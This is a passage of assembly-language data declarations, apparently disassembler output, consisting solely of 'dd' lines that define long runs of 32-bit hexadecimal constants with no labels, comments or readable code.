30A9A9EEh, 75CB81ECh, 0B7D151CCh, 0FD7CF06h, 60C97EA2h dd 0CD1A335Dh, 0B286767Bh, 25BB9499h, 2E1ED49Fh, 7DB0AE8Eh dd 0F65802DBh, 2F242F59h, 0A5E66F15h, 70F89FC7h, 0AA9DC604h dd 0ADBB8CFFh, 6FC76BEDh, 7BBADD76h, 0C2C1BA1Dh, 0ED22D97Ah dd 0D24B71DCh, 0A64D33F8h, 0A0454FEEh, 9AA97F04h, 0FB6F7BB9h dd 0CDED559h, 631A0540h, 0CEDC3DA2h, 39A6460h, 2A09836Dh dd 7312E2E5h, 0BC9A558Bh, 51A6F62Bh, 6E36300Bh, 9858849h dd 7627638Eh, 0DA01FBBDh, 27837E4Ch, 866EEBFFh, 0D8320282h dd 61AE1768h, 0AC9B19DBh, 2DADB688h, 9748BD68h, 6C2D855Bh dd 531D5D68h, 5B429392h, 0B915A623h, 451FABEDh, 0B2925CC5h dd 32D7B658h, 0B2311759h, 2B688612h, 2749A8Bh, 0EDA85FACh dd 1BA54788h, 0B0F982D8h, 0BE89369Fh, 0AF8F301Ah, 578DE95h dd 0C2CE56C6h, 0C1F8E1F3h, 48E58BDAh, 5543D9B9h, 0BCDD14F9h dd 7C3D6FF8h, 0FEA57E36h, 91D587B0h, 0CAAE667Fh, 0FC72C496h dd 4E5A20C1h, 0D14649C1h, 0B3C0A21Ah, 7A01B932h, 0D404BAE7h dd 6B479385h, 0F20C6CC8h, 91AE2F00h, 0AD4AE618h, 0EA388C1Eh dd 0C9999D4Eh, 9775051Ah, 4E51D1B8h, 58D4A09h, 0ED318F81h dd 7DDD5AFEh, 0F11882B4h, 0E8A83D98h, 683A6C3Eh, 3D1515CFh dd 569E90E8h, 62E75220h, 0E86E76EBh, 0BDC9ABFAh, 9680653Eh dd 490D3FFDh, 0A2499518h, 0A32B0598h, 0C92BC237h, 0AE7E7A7Dh dd 92BBB026h, 7932BF08h, 0B34FA787h, 0A1EE76D0h, 40029721h dd 9A848AF4h, 0B84B48D1h, 0C127C653h, 588DF224h, 0F27297A1h dd 0D23825D8h, 774B0AB6h, 0A13FCD88h, 356923F1h, 1E3D2EDDh dd 0F5AB402Dh, 8414118Ch, 1A5482D1h, 178A96F6h, 1443A6BCh dd 0A5B8C25Eh, 8D131C1Bh, 7C523FF6h, 571DAA9Eh, 0FF2F1F28h dd 0C9F6D5E3h, 623B0AA0h, 8FE7CD49h, 0AE1AEC09h, 743B627Eh dd 0E842BA19h, 4AEE91CDh, 0FE5EE0AAh, 94307546h, 894A4CE9h dd 0A0986741h, 81021CA6h, 86E941CCh, 9A7E80AFh, 0CEB513BBh dd 0E619DBC8h, 302CE135h, 0E1A525B7h, 4A77850Ah, 980FC186h dd 40B8280Ch, 45E96340h, 4645B14Fh, 0CF8299AEh, 0EADA3A46h dd 17B5E9BEh, 97770AC7h, 731A9FB5h, 21AD2165h, 0DFB6E2F6h dd 5AFFD24Fh, 30C14799h, 4A5833BDh, 25050A56h, 0C9C2C0A7h dd 5963795Dh, 0C4397B72h, 32CA9767h, 3DA3C86Ch, 2FCC07C8h dd 43A89341h, 960A5235h, 0DE01589h, 0EA69F340h, 15A1B994h dd 0C795095h, 0D411D9F4h, 0D2F6E1D8h, 4C76D5D4h, 0A8358D3Eh dd 0B8EFE514h, 7558E939h, 9A1C4F6Ah, 37C8321Bh, 71934934h dd 0E154C1C8h, 0F985F218h, 41F7D3BFh, 0DD6028A5h, 8BE4A00h dd 5E9D2F56h, 24FED150h, 0DA468EF8h, 0C9E0401Dh, 0CC4470F6h dd 0BBFD23C6h, 7C0777E6h, 59B88205h, 911D376Fh, 0DDABBBE0h dd 0D85E5D8Eh, 53D24E37h, 0ED9DE8EFh, 0CA40768Ch, 0C7C7076Ch dd 7B0D7C8Dh, 1BFEBFCh, 796DF5B0h, 1FCC3518h, 0D5EC8EBEh dd 0D0C96C42h, 9FCE0B3Ch, 0B9A65022h, 90B04F1Bh, 20B66F69h dd 79EDF916h, 0CC3B1FF4h, 7F2E63E9h, 0DB868A36h, 0F53D2D32h dd 87347F51h, 1E725C71h, 74438457h, 1FBF4D4Bh, 0C5A3B4DDh dd 0CF7A249Dh, 0FC97E79Ah, 0DA4E4254h, 0D67EA206h, 9418EE36h dd 590FD44Eh, 831C3638h, 8EC87315h, 70E43AFAh, 467AF449h dd 44D56015h, 2956B9Bh, 0B66F94E5h, 0AA472E53h, 7D87D8DBh dd 0E598E6D3h, 17912CF4h, 993C8C84h, 1DC0C71Dh, 3F43AF8Ch dd 488DB039h, 21ACF143h, 0C04FB450h, 104F1E35h, 45C54B0Ch dd 1442F62Ch, 61EED78Fh, 0F240A041h, 4F816934h, 708478A1h dd 0FAA70A0Bh, 0DE4EA1D4h, 8AC15E63h, 89FFC3AAh, 0B36C4E56h dd 0AC5B9496h, 221DE283h, 0A5DB60C4h, 0A961624Fh, 2FA73111h dd 0B7F2C263h, 0EFC99A31h, 0E0892060h, 0D0074F91h, 0FC8FD339h dd 70BBF2FCh, 5C5EE360h, 9667081Ah, 5D2AAFC2h, 9602068Ah dd 71A7C065h, 0D70FC1E0h, 718B6456h, 2F087CD4h, 48C79843h dd 4C2972B6h, 0EB85C55Bh, 40DC0F97h, 0D1DCDBCDh, 48DC4050h dd 0E7A26C51h, 0F655F39h, 0FE49E485h, 0A0388F3h, 57E2620Eh dd 555C7BEAh, 0EF8F14F4h, 6887FEBBh, 3FA2A0CEh, 702F5EADh dd 0D7055850h, 256316C8h, 1FA0A0B5h, 79487C66h, 405B3288h dd 0E6ADEB21h, 88E4614Fh, 0CF6A95B1h, 95513116h, 0B5C6AEh dd 5E52FA6Fh, 0FB2502B2h, 5D1D2055h, 9BE9FDBBh, 525CEF8Ch dd 0BF55F1B6h, 33F8D379h, 0F176D4B7h, 7CBFE4CDh, 8DEFE45Eh dd 0F78E0021h, 4F76F85Dh, 0AD6271C0h, 0D8C035FCh, 0FDB7A6A3h dd 6991E44Ch, 0E4402933h, 0B7AE4E3Dh, 67203246h, 3215D7B9h dd 0D9E15A83h, 9FD9BE57h, 99A09ADBh, 0BB009458h, 67339040h dd 1BB71600h, 9F525631h, 539899FEh, 23A86C8Eh, 0D120099Fh dd 5515E442h, 0A022F02Eh, 0A7B47CEAh, 9025DEACh, 0C569AFD2h dd 612E98Eh, 73C2C1C0h, 909D09BAh, 7F04B704h, 0FFB7C6DEh dd 94A1882Bh, 7FADDCA6h, 567567C0h, 0B714FB0Fh, 4E9BC549h dd 0E9C37E4Eh, 64A3DDF4h, 0B308343Bh, 0F6A585h, 5AC4BC63h dd 457F24D2h, 0DE56739Fh, 0E870E91Ch, 0B7770B49h, 0F6A43FDCh dd 9E30FEBFh, 3D5589E8h, 0E91B2220h, 0CC3451D3h, 8FAFA710h dd 0E478411h, 0D4FCAD4Bh, 0D58CCDF4h, 0C5C882E9h, 0BF9F3FA6h dd 60C4C579h, 90EACB76h, 4F8000Ch, 0E16C95A7h, 921ABACh dd 85D8D444h, 0F02986EBh, 7DC16919h, 64B657C7h, 0A0C43ED4h dd 62BC3FFFh, 2FFDA095h, 41BEC18Ah, 0AE85F8C6h, 7AF221CDh dd 0E8FBE6E5h, 75827A01h, 6A952812h, 0F405912Eh, 0CA48AB5h dd 618C216Eh, 6FABC5B4h, 0A9C1D120h, 0BD226630h, 0A5AD00D0h dd 0FD81CD38h, 34209122h, 6D789B89h, 0CA3E9227h, 9079235Bh dd 0AD61EBCCh, 93553527h, 7B97610Fh, 7B68A617h, 5BB0E25Fh dd 7035CFh, 4939E22Ah, 63D53010h, 3D465157h, 0F99C9506h dd 0CAEF4C12h, 197CC1E3h dd 0DB02ECE6h, 473D740Bh, 0C66336BAh, 3402B1A5h, 220D0B72h dd 0C392493Ch, 12921B0Eh, 3804FDD1h, 1867E98Dh, 39E7919Ah dd 0C5A9314Eh, 0A3ECB689h, 994B872Eh, 4A87322Bh, 0D558F234h dd 3879B7D8h, 64D4C43Bh, 6DEAC990h, 865D836Ah, 0F857DAACh dd 42C76CDAh, 917C41B6h, 61A1FF95h, 94B7D183h, 0D534660Dh dd 3E5B8BF9h, 23BEC827h, 8A566CD3h, 0AA96F4E8h, 5238AA79h dd 773D51CCh, 72597364h, 6A464626h, 10063E5Ch, 1258ECA3h dd 0DB1A5B0Bh, 74625F0Dh, 38394E9Dh, 307E7DB0h, 9107913Bh dd 68B3E3E4h, 421965BBh, 5C8EB121h, 3C384B90h, 26502088h dd 618EF597h, 14B4A844h, 598F2D19h, 7B651A46h, 87AC6C38h dd 61B38154h, 4E773B2Ch, 0BE70C297h, 7862D733h, 0F24B286Eh dd 0BF36F58Bh, 0EF4E424Bh, 3F5C3B28h, 0CE11B19Fh, 2AB3D6BDh dd 0A02F989Ch, 2FDDAC34h, 0AB08854Dh, 972825FAh, 59C56052h dd 61FB6C5Dh, 0B0B2E6F3h, 0EE9298AFh, 0C8C3F184h, 0CB73B4EAh dd 0C54B4125h, 0D4A24ADFh, 2E6D71F1h, 0AC83636Fh, 849E09F6h dd 0B18BA50h, 0E7236D05h, 66EB976Bh, 0CC2D1FAEh, 190895C3h dd 0A95B4441h, 0C1137FBAh, 0ABE896Eh, 0FEBA847Eh, 1B640B3h dd 4C061AFDh, 772A991Dh, 703ABF0Fh, 84DAFDF9h, 1A359895h dd 19D3C077h, 0BE3CC5CAh, 0DCE04A22h, 0D7C53EB5h, 0A54DB677h dd 7A911A67h, 28721400h, 4AC13877h, 3C7FE095h, 8A6E64h dd 7F59C9FEh, 0E7334B77h, 0A0E2C7A4h, 16B9F9Ch, 700AC4E2h dd 618E44C0h, 7E9F8DA6h, 0A1D3AF52h, 202A7F0Dh, 1AE8BB39h dd 8696F828h, 4EAE4317h, 97967F7Bh, 798E2290h, 4493A232h dd 0A977DE85h, 0C67AF5F5h, 8BD1913Dh, 558AF18h, 7DDCB5F1h dd 74B16A67h, 0B28363C5h, 2FE099A5h, 3771BF49h, 1139C1FDh dd 0ED8D1052h, 703D8AD5h, 476AB0FDh, 8D53139Ah, 8D1D2E11h dd 93A7B6B2h, 0CF0A9B3Dh, 3A878E34h, 0CD310427h, 0C31E2319h dd 0FF07E20h, 0D1D86A86h, 0BCA54923h, 0DBC3EEE8h, 46187336h dd 3B9371E9h, 9BB50CCh, 2A8A48A4h, 0CC38C2B8h, 70711268h dd 0FA0C0A27h, 152A796h, 83023E67h, 0A0043F30h, 2ABCD7EDh dd 39F0AEC6h, 0C4132DFEh, 0ADC0BDB4h, 0EEE9C39Bh, 0C0723ABBh dd 500F0D6Fh, 3EF12D3Fh, 0D948B03Dh, 0C603681Ch, 83325DC0h dd 5B01988Eh, 0A151953h, 0BB690939h, 5C676150h, 0B6C25F8Ch dd 814D89E6h, 543B7914h, 0E91D451Ah, 0D1B2C250h, 45B6A84Fh dd 2A36D5EEh, 0BB095A4Fh, 0BBE84271h, 95E77FCBh, 7B5FBF18h dd 0C366308Dh, 994AE5C8h, 4F49E671h, 4B261BEh, 0D228F984h dd 2A7491B1h, 60989C6Dh, 0C64773CAh, 43A3FF6Ah, 0D0CC14F1h dd 0B2F6ED12h, 467703D0h, 21FFC25Fh, 8E9C1865h, 0FCDEC794h dd 0E822D89Ch, 0DC2D4072h, 6661F514h, 24233EF2h, 98731380h dd 0BB8414B9h, 7548E294h, 5F883A66h, 87154A70h, 2DB2782Eh dd 80B19797h, 0A3051AC9h, 1293AEBBh, 82772F06h, 5B9B104h dd 87CDEC4Dh, 3C6171EBh, 55B8A10Fh, 0DF8C11C9h, 583576BFh dd 0AEE7C6B7h, 35565E1Dh, 0A1C5D1C6h, 9A2FE41Eh, 491F0F4Eh dd 0B9908965h, 8001AFE1h, 4F02661Ch, 0F63A44Eh, 0A3A0898Ah dd 0D19983A9h, 0B5799BCh, 8B5BD1BCh, 30384B75h, 7A59B625h dd 499CF1BBh, 917EB0F5h, 95DC710Fh, 0A947AF03h, 0E6EB14B6h dd 53CE2A80h, 681B0C93h, 70612291h, 6C838CCBh, 182457CAh dd 27B9A279h, 8B7143EEh, 39050A64h, 69F8B579h, 0F7F99CF9h dd 0A8894A18h, 60B2101Bh, 2CA0588Eh, 4DA2D0B0h, 73EF8059h dd 0FEFA1802h, 8171851Bh, 1503B160h, 8E950AD4h, 50A781BFh dd 0DDF13AF3h, 751F89EBh, 0D67F228Ch, 7D9165ABh, 548D0512h dd 0E2393Ch, 462EBE37h, 6E249E2Dh, 53AF07CFh, 65B2B6BDh dd 0D274C59Dh, 9FC9BFFFh, 6915D48Fh, 7FDEE5D7h, 11FE2513h dd 6CF41FB9h, 95ECFD2Eh, 5487F20Fh, 0E736CED0h, 8E813880h dd 1FC3B092h, 77A81648h, 3BED66BDh, 1E083A4Eh, 15A3285Eh dd 44A8B8D3h, 27E03D08h, 0B2631596h, 0FC03046Ch, 0F34F0696h dd 0BA5322BDh, 7323FD65h, 9C1C2DDAh, 0C8D07CCBh, 74C9BF13h dd 0E522D886h, 0D444BD95h, 0E0753DC5h, 186608FDh, 3E200C09h dd 86AAADE1h, 9D2AA34Fh, 0C43B5F3Ch, 33908D6Dh, 5D36DC7Dh dd 10E641D9h, 9AE30C19h, 3044C4E2h, 0D5D6C921h, 0F2DD0A51h dd 49A1FB2Eh, 245BAD04h, 0A1C9672Fh, 8AA70C67h, 0B4836DCBh dd 8AFF1878h, 49A9D383h, 0F95A0A3Fh, 333612A7h, 6896B364h dd 23E0BF15h, 0EFD7547Dh, 0F9E8E747h, 79B1B6EFh, 42B756BBh dd 9C3FE6EFh, 0EAA4BC7Dh, 2642FB1Bh, 0F4E51D40h, 34EEA923h dd 0F262C49Ch, 5769719Fh, 0E90D684Ch, 4BE2EC2Ah, 4AA08491h dd 3183DCC0h, 7CCF572h, 25B3E74h, 2017A886h, 6F4CD238h dd 0A906616h, 60297236h, 8B5823F7h, 60E05085h, 26D5E893h dd 7FFFAC81h, 0E9494867h, 9D46D8A1h, 6BCAA95Ah, 0B41A2248h dd 92529312h, 6451E059h, 0DD88BF43h, 64E0601Eh, 9B5244D7h dd 4E9C42BBh, 0E7DE074Dh, 8A700A1Eh, 72EC1B06h, 0EA93F73Ch dd 7D6D1C4h, 0C8D552Bh, 0C7A87DABh, 224B4CD6h, 0C4E6BD6Bh dd 0DC7A721Dh, 0CBE8273Ah, 3C6C4B60h, 4C97864h, 0B5E78FC8h dd 0A9CBBF23h, 83F8D84Ah, 2743E589h, 88029318h, 0ACB772CDh dd 1E898F53h, 0F8A83CAh, 20F9F58h, 651A0E24h, 27B6FA37h dd 0FEF23069h, 0CD41E966h, 0C8533D7Dh, 0C1F977DDh, 9C33E7E4h dd 0D1D4978Dh, 0CF908144h, 0D41914DFh, 9CF38568h, 3DA32DA4h dd 0F77AAB92h, 715CCB35h, 79B1035Eh, 3D39B0C4h, 0ED4431BBh dd 59357564h, 1855358Dh, 0DADD1366h, 0A0A4C59Fh, 96192AD7h dd 8F6684F4h, 857C95BBh, 5831DAE2h, 0F8DD4314h, 0D4699F92h dd 5DD18EABh, 4802504Fh, 2547A489h, 0DEB8790Dh, 0AFB8F081h dd 9362075Fh, 0C58A1507h, 0FF63E2E1h, 405C665Fh, 7D83F4A5h dd 0B7E05D5Ah, 0DD2CBC57h, 28C2B0CBh, 0EECBEA29h, 2EE5085Ah dd 88CAF403h, 3C119589h, 267811D7h, 0D5DDEAF8h, 34CD7D40h dd 45B3049Ch, 8A24116h, 8E3B8831h, 0D0774CB0h, 257CC638h dd 0A9B4C232h, 69F14259h, 0AA504E93h, 42C5FE6Ah, 0F08A80A9h dd 283BA803h, 0C6925AA4h, 0E44C4ED5h, 0D873F0F8h, 413CAC53h dd 4E0BD052h, 0E9FCC2DFh, 0C6AD9CA2h, 0F4FF75D0h, 0BD2CA397h dd 855532EFh, 0E24A5097h, 8A1D5238h, 86AA8135h, 0D3013AA8h dd 2EE83BE9h, 4AE63681h, 0E9E2A5D9h, 0F7B255CDh, 408CCD3Ah dd 44307142h, 79376D28h, 89C4B284h, 0F9AAE012h, 0E4E5BF83h dd 0F1BB8059h, 0B1AA0C3h, 676B98F6h, 0FC82F6D0h, 657F40B3h dd 541D151Eh, 0E173D03Ch, 0E3BBF4EAh, 0CB9A4192h, 95E188A3h dd 0D40F944Fh, 89C89F8Ch, 0BFABA8B8h, 0C7794236h, 8825BA6Dh dd 0F42823A3h, 0F641B1B9h, 0E078430Fh, 2E14CFDBh, 6EB6DB5h dd 94FCC81h, 22F0FE33h, 85EA8B7Bh, 7C229739h, 97517C7Eh dd 0BA57050Dh, 0A564300Ch, 8D127963h, 0C83CAF0h, 2FF7865h dd 0CAB021A3h, 0EA5857D2h, 0D487954Fh, 95560E9Bh, 0F3B11D8Eh dd 0ECCD5571h, 8498CD52h, 0E26094A6h, 17357711h, 9D445F90h dd 1B4C2CEAh, 0BFE74CE0h, 8ECB9A14h, 2853D675h, 4D633402h dd 668F9FD1h, 54ACC143h, 0C37ADDD6h, 0BFB9D847h, 4BD2E8E1h dd 0C979773Dh, 2B214D29h, 0DAFC7DB9h, 6D4E9691h, 3145F731h dd 465A8140h, 0A4D8A6F5h, 0A7C8C116h, 0BA50E0CFh, 16B7FF78h dd 193EA3FAh, 0DA92DDDBh dd 69F722F9h, 3147E25Eh, 56E314C4h, 0A45726C2h, 72FA9A18h dd 0C3A60B46h, 0A5A1B558h, 0C07551F5h, 9BF49504h, 2F1EB234h dd 0E29CBECh, 0BD0A116Eh, 6BB2FD19h, 88E00B30h, 5B67AF42h dd 0A4ACB907h, 9AB1996Fh, 0ACB47C9Bh, 87A084D9h, 887D2462h dd 7EC0E801h, 51FEDCA6h, 0AD8C373Eh, 0DAE336B6h, 399F04ADh dd 86F6374h, 7EF6FF83h, 465EAEFEh, 847A5692h, 3CBDE727h dd 3B2F7D96h, 0F71DACA7h, 0ED2BE266h, 2E5FD7DEh, 0A9138278h dd 44373F4Dh, 0D3754ED6h, 6DA10D0Ah, 6D1C9C43h, 318F53F6h dd 302AFBF8h, 0F016D9Bh, 593619D2h, 0B09EEFF4h, 0EE038E76h dd 3C8AAE62h, 0DF9A76F4h, 6B254DD4h, 0F2F32B96h, 0E8A155B3h dd 0DEEF9FE4h, 84D481Dh, 0EB497250h, 507D17FFh, 56AA0396h dd 4A679395h, 0A8EA12BFh, 3E08F939h, 0D07A3EB5h, 2EC5B7EBh dd 0FA51D0A5h, 21D26319h, 93EC4576h, 5ED1D284h, 5350E06Ah dd 9315D458h, 2A771E9Bh, 309C864Ah, 4DF1C44Fh, 44FF7381h dd 7282D041h, 81244CA2h, 6D2131CAh, 0F9CA439Bh, 2B6B8A08h dd 47644885h, 75AC470Fh, 21694126h, 0E205EE54h, 98AD9456h dd 5253A45Dh, 417B94DCh, 3B30A425h, 1313F9A6h, 0C81CE704h dd 167D3899h, 3C16FC4Bh, 25761064h, 3AA8E432h, 4A39AF6h dd 131B7077h, 571C40B0h, 386154Fh, 0AF0705A5h, 9FD8A8C6h dd 0A9D8EE0Bh, 0D69EF8E2h, 5E130560h, 27AB54CBh, 0D69B985Eh dd 7E383578h, 0C5D9201h, 0C72400Dh, 872D77ADh, 360302D3h dd 62A77502h, 0AC01E3ECh, 0A45DBC4Bh, 0F6484F73h, 7C780DF5h dd 5AABDC85h, 426D69AFh, 0E1F3B07Ah, 857E72A4h, 41B09D66h dd 0FA6BE6F2h, 464BD291h, 5B83D8CCh, 9335FE50h, 3025E13Fh dd 35501B42h, 59E197BCh, 4E0773BAh, 87B4399Eh, 0B4AB23C3h dd 0FC1041F0h, 0A04378B8h, 0BCBC4140h, 0C7C8B256h, 6714E94Eh dd 0DA003588h, 0E94D36E9h, 71342A26h, 940861B7h, 53E2AF19h dd 718866F5h, 9264585Bh, 0A2CF364Bh, 0B6111ECFh, 0A5C7CCBCh dd 6BF4745Eh, 0FACBEDC4h, 0B9B265BCh, 96B9FD0h, 0C4936092h dd 9D0FB3D5h, 8A0023FBh, 0A86A438Ah, 63C2D62Dh, 617BC69Bh dd 9C163228h, 0DB69D655h, 78984600h, 1A5FD942h, 70C5E089h dd 0E0255C3Eh, 93AB99A4h, 83BC0616h, 45BB8C1Eh, 0EB7B02D0h dd 0E785BB04h, 92508BF9h, 142BC3A2h, 11DEF2D5h, 0B80822ABh dd 0A8263132h, 807AE14Dh, 8061558h, 0C79C935Ah, 59CF8CF8h dd 71341F03h, 2A8467C5h, 0BDFF7712h, 0C24F6DBCh, 0F0B44D64h dd 0B0001465h, 2D5F2C2Dh, 7B58AAF8h, 3A2F34C2h, 0DDE72386h dd 6EDB889Bh, 0B08CEEA6h, 3C177B2Ah, 81893AF1h, 752D0C05h dd 8C5B6F83h, 4E1E7271h, 631CED8Fh, 5B5E3957h, 9728C538h dd 983BDF7Eh, 1CB9D87h, 572F1FBEh, 14354487h, 5618BA39h dd 25CA7A4Bh, 8BC4EFDDh, 9E072F9Bh, 12E3DC5Eh, 44379017h dd 0B8781E43h, 61689317h, 7BE45795h, 0DEF444B3h, 5077F1D4h dd 0E668266Bh, 33ED3710h, 0D50C5CC7h, 0E886F1h, 7B489258h dd 0FB3EA6ABh, 0CD1C18Ah, 613E0BA5h, 725B834Ch, 4A6AD068h dd 30E2CEF0h, 0F38A6E0Dh, 7D4564C9h, 8BDA66A9h, 66077596h dd 0A6EA2978h, 4885799Ch, 41F05E20h, 404D3928h, 67A70248h dd 31C008BAh, 4B304AB9h, 8CE86274h, 731182CBh, 5D66EE3Ah dd 0F9215A1Dh, 0BCBC2C6h, 0F894A55h, 0A9232271h, 0C504A845h dd 5063C760h, 22E6D233h, 917392ABh, 3F52FDF0h, 786FE782h dd 0B89E1B46h, 0A8D55BD1h, 58ECB5CFh, 0C7A842AFh, 6081115Dh dd 0B38F7A16h, 6F4EB5A5h, 0AFE38C97h, 15D2A747h, 9EB3BC20h dd 6520472Bh, 2EDAAC7Bh, 1B86CC83h, 0FF94C448h, 2832E52Dh dd 12ADABAFh, 3C01F029h, 0DC6DC604h, 7E9B3D7Ch, 0F5DB1DEBh dd 0B97A6E32h, 0F962C052h, 0B40F9E15h, 17B06E0Dh, 95DFE866h dd 7FCA8677h, 80E7F21Ah, 9919F99Ch, 41A2EEC7h, 0BD7930C2h dd 574E91E3h, 0EF8B8826h, 0F1BA8B29h, 8841E68Dh, 4A4CDE02h dd 36383867h, 0C3AEFB39h, 7FD3AF21h, 0B4F504F4h, 0A13E1D51h dd 0F4BD6DD4h, 0B9C2ECDCh, 1548A4CCh, 59CAFCEAh, 62DB0CAEh dd 56D3B8h, 17B53A00h, 21B14695h, 23039ED6h, 0A8F99BBFh dd 0E973D31h, 8FD4335Ch, 11E88316h, 0D980F402h, 0A5384212h dd 0CE8CB0F6h, 20173E51h, 22FB263Ah, 2E676B55h, 15388D75h dd 753E2318h, 647FD526h, 5D36CCA4h, 384C6FDDh, 0F02DEEE0h dd 0B85522CEh, 0E2B73626h, 8FBB5E85h, 22D28990h, 33ADD6AFh dd 176206ACh, 69E11F15h, 0C2D9E846h, 67F3BF16h, 3A943259h dd 0E586342Ah, 43DCA020h, 0D17BA959h, 3ADDEFD2h, 55A5D721h dd 7839BF71h, 160C4BAEh, 777B390Bh, 0DDBCFCDCh, 51B6993Dh dd 22E14E3Ch, 270BFEB1h, 58FC89DEh, 86ACF37h, 38C8BE67h dd 46B609D0h, 4776D69Dh, 0F23CDE74h, 0FA5389h, 0DD3495Bh dd 50B78BE4h, 16B443BDh, 0DB5859E0h, 1A6DE5EEh, 8AA684CEh dd 0C6200A28h, 0A1BD9C9Ch, 3763FE99h, 1BBE04FBh, 0BAE895FBh dd 97242FFh, 0E1B638C5h, 0DDD5B9C5h, 93EB5141h, 0F77BD2D5h dd 0F9818AE8h, 450C536Ch, 5F61D33h, 7410C231h, 0D992D34h dd 73DCE55Fh, 599C850Bh, 0C0D23385h, 0CCAF362Eh, 53E382F7h dd 0B3C138D7h, 3135CAD4h, 0FD2CC201h, 79435B84h, 0EB43AAC9h dd 44A1D9FAh, 26075CDAh, 0BEE6798Ch, 6E2F3DB3h, 0D7FAECA1h dd 0C1A42E46h, 0FDFD6139h, 0B37E4300h, 0A50C5467h, 95F0337Dh dd 55C8F429h, 0FABFB51Dh, 3656D8C2h, 2665DAC1h, 2CA64634h dd 0A45D07E4h, 9466D9A9h, 0A77181F2h, 2BF27B56h, 6F15F9BDh dd 23DF51Dh, 0BD2F5079h, 32A4C9E8h, 412EEC13h, 0D2AB9850h dd 0AF9632B0h, 282BDCA2h, 5D946E6Fh, 0FE97A3ACh, 2F107F0Eh dd 9573985Ah, 3880C87h, 3113DF5Eh, 0A44DFAB5h, 4CDEA69Ah dd 4FABDC2Ch, 3D2F8F49h, 5C15FD10h, 0BE0C5BC5h, 53D43755h dd 899E359Dh, 59DDC3EDh, 0B9110AD6h, 2913A01Ch, 4B94052h dd 430AE147h, 88AB8F4h, 2ACEBB17h, 7E0D73B8h, 6188FBE0h dd 703FE1F8h, 0BA7AEB87h, 0ECE3391h, 0D3FC295Fh, 608E7CDDh dd 0DB710407h, 0C00950F4h, 445275F1h, 0FE40D830h, 0D0F43382h dd 37E7B517h, 0DD382552h, 747DA97Ch, 0D9E218FDh, 5D6791F2h dd 3731A0A3h, 9767118Ah, 0B315CAADh, 0FDEB5E89h, 0F526BDADh dd 0B44BAAF6h, 1063006Ch, 79E1BB5Fh, 0B42B6AB9h, 0C3FCDDE3h dd 9D3D7005h, 0AAFA6310h, 6B24D8FBh, 5ED4D74Dh, 1BBF5809h dd 0B2595A13h, 0E8E8D2A9h, 1B2A99E1h, 18012C34h, 0C9A5578Ch dd 0D97D7A4Ch, 7888CF1Fh, 2EBF2ABCh, 8D630040h, 361BCF0Ch dd 2AA6986Dh, 79EA0C1h, 0FFE45Bh, 3E0616Eh, 14AD176h, 249B68AFh dd 7F4BF8C8h, 0EC506E8Ah, 2D62CD5Dh, 359699A2h, 436E84A2h dd 0FA2CFE31h, 0AFBA09BFh, 95605373h, 9D4EB0FBh, 35C21EEAh dd 48EE2404h, 4D7C8A97h, 0EA9BC1FDh, 1494AAF1h, 0D96C2B6Eh dd 0B12DC75Eh, 0BCCADFFBh, 0CF9D8DD3h, 5CA6D9EBh, 0DF308494h dd 0A63908B1h, 0CB4DB1EDh, 8791E4E8h, 3CCB0228h, 0EC1AE64Bh dd 0DC628904h, 0EFA1C2B2h, 0FBFE1CEFh, 5A89F3A1h, 70444AC4h dd 864B6CA9h, 0B3D1CF60h, 3B3BBCD4h, 0C471B2F0h, 1B009748h dd 404DA07h, 7F73C6FCh, 0E095CA22h, 3854B8DBh, 0E428EA63h dd 6926D13h, 0FF2B23FAh, 0E282CFA6h, 9691D53Eh, 2DD94253h dd 704CC7ABh, 20AAD38Dh, 0C59E93h, 2D2AFD43h, 752DD153h dd 15710C8Ah dd 6288B7C3h, 0CCECD23Ah, 70BEFE41h, 72C1322Dh, 0ED630BF6h dd 32CC9F21h, 9A1AE407h, 0D417D886h, 0B82E978Ch, 5457655Ah dd 0B8E09DBh, 6952C05h, 316ED8F6h, 0D659878Dh, 299B75FFh dd 4EC7866h, 90F66667h, 6BEE8A48h, 0D7822FFCh, 0C72CA707h dd 34D52DDBh, 27EBCE77h, 0E0484AA8h, 1D32EC4Dh, 0E6666159h dd 0DB093E08h, 84D1EC84h, 2CDD86C9h, 0A353990h, 0CE53A7D7h dd 9DDA7281h, 0D41B9138h, 0B9A178E2h, 145C3A47h, 0D8DD8693h dd 65FD1E82h, 0AB20715Dh, 0D8B21754h, 0ED491E52h, 0A61EDD9Dh dd 7AAACB49h, 95B64273h, 0AB702BA9h, 0B8A9511Eh, 4E77EFFAh dd 55183F0h, 9D88FEA5h, 62681FC1h, 0A0A896C7h, 5DFEF726h dd 31503E83h, 0C687CCFCh, 700E2EF4h, 84EE6815h, 532E05E7h dd 1AE939Eh, 7EDDE7EAh, 768471DEh, 4B9091A4h, 2E17A6DAh dd 3A542B07h, 7455693Bh, 0D887C9C0h, 0E5A946CEh, 0C1FE7A57h dd 3F96FA46h, 0A69D7C5Dh, 95A85EA9h, 112C7F8Dh, 1F0A9480h dd 9A03B52Fh, 12832668h, 8747AB53h, 2AF8D559h, 51AF2248h dd 97845E80h, 14BC784Fh, 0F3F70E42h, 430F1AA4h, 0DF1D71FAh dd 4C4FF965h, 3E900517h, 0A3C8DA40h, 25CB5B13h, 35960CD2h dd 0F43DE301h, 6EF2A4A6h, 0E59D0FE9h, 55E7D84Eh, 0E975827h dd 0FF524D2Fh, 981D44E2h, 9F7E28B5h, 1CFA20C7h, 0CB00FB86h dd 0F8D1107Ch, 693BBCEDh, 77CD226h, 83DF2BA0h, 140F872Dh dd 67A31B5h, 0EC27CDBh, 9D4C279Fh, 0AE43BAF7h, 0E02D34C5h dd 3487957Bh, 316E74DFh, 0F90ACC13h, 1378C18Ah, 0C72C29C0h dd 94A4EDE5h, 331BC5A1h, 22D42A40h, 94E13790h, 0B1551031h dd 3C16115Fh, 0C6B92D16h, 15B5FE3Bh, 9B503807h, 0B4985758h dd 933EE016h, 0B48370ABh, 0F3B159FBh, 4215AC78h, 0D7E34DD0h dd 0E01E3F53h, 8A302CBAh, 5E1CB720h, 0F35440D0h, 7C1814CCh dd 1D80DF29h, 4F37FA0Fh, 6279C23Fh, 6EEE1C84h, 0E0368B1Dh dd 0F4F3E2C5h, 0A9EEAFFEh, 0B7494C03h, 71D08106h, 0D55A5975h dd 0C5762640h, 4B1B1633h, 21FF50D4h, 487E8FDEh, 84D44E3Ch dd 0E852D46Bh, 0F0A21A21h, 4CC0825Ch, 566DE38Eh, 0B0F3ADEDh dd 9076ABF1h, 428966E7h, 0FEAE016Bh, 69733DD9h, 6C536FCEh dd 608318FCh, 0B55497Eh, 40F68DA7h, 0FAECDB1Dh, 907E58A5h 